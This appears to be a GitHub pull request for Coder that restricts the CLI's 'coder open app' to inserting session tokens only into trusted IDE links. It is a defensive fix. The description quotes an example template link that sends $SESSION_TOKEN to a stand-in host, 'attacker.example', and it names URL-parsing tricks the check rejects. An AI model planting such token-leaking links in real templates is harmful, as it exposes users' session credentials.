Skip to content

fix: only add the session token to trusted app links in coder open app - #31721

Draft
dylanhuff-at-coder wants to merge 6 commits into
mainfrom
dylan/cli-open-app-trusted-token-links
Draft

dylanhuff-at-coder wants to merge 6 commits into
mainfrom
dylan/cli-open-app-trusted-token-links

Conversation

@dylanhuff-at-coder

@dylanhuff-at-coder dylanhuff-at-coder commented Nov 3, 2026 •

Copy link
Copy Markdown
Contributor

coder open app filled in $SESSION_TOKEN for every external app defined in a template, wherever the link pointed. Since #31208 the dashboard only does that when the link opens a known Coder IDE handler and its url param is this deployment, so a template app like vscode://coder.coder-remote/open?url=https://attacker.example&token=$SESSION_TOKEN was blocked in the dashboard but still got the token from the CLI.

This ports the same check to the CLI. A link is trusted when its url matches the URL the CLI is logged in to or the deployment's dashboard URL from build info. Links that fail the check are printed with a warning and not opened, the same way sub-agent apps with the placeholder already are. The Go check mirrors isSessionTokenDestinationTrusted in site/src/modules/apps/apps.ts and the unit tests reuse its cases. Params are parsed like URLSearchParams, which is what the IDE extensions use. Where Go can't match the browser exactly, the CLI rejects the link instead: non-ASCII hosts (browsers map them through IDNA) and invalid percent escapes.

Heads up that template apps the dashboard already blocks will now stop getting a token from coder open app too. This also adds a short section to the template apps docs on when external app links get a session token, since that wasn't documented for the dashboard either.

Follow-up to CORE-783: https://linear.app/codercom/issue/CORE-783/security-coordinate-backend-validation-for-session-token-app-url

🤖 Generated with Claude Code

…en app

coder open app substituted $SESSION_TOKEN into every external app URL on a
top-level agent. It now applies the dashboard's trusted-link check: the link
must open a known Coder IDE handler whose url param is this deployment, and
the placeholder must be its token. Other links are printed with a warning
and not opened.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
@dylanhuff-at-coder dylanhuff-at-coder changed the title fix(cli): only add the session token to trusted app links in coder open app fix: only add the session token to trusted app links in coder open app Nov 3, 2026
dylanhuff-at-coder and others added 4 commits November 3, 2026 15:00
…links

Strip one leading ? before parsing params, like URLSearchParams, so a
duplicate url can't hide behind it. Lowercase hosts as ASCII only and
reject non-ASCII hosts, since Unicode folding mapped hosts such as
codİng.com onto a trusted host that browsers resolve elsewhere. Narrow the
docs: the dashboard leaves http and https links enabled without a token.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Split params on & only so a ; in another value no longer rejects a link
the dashboard trusts, and compare ports numerically so :0443 matches the
default port. Out-of-range ports are rejected.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant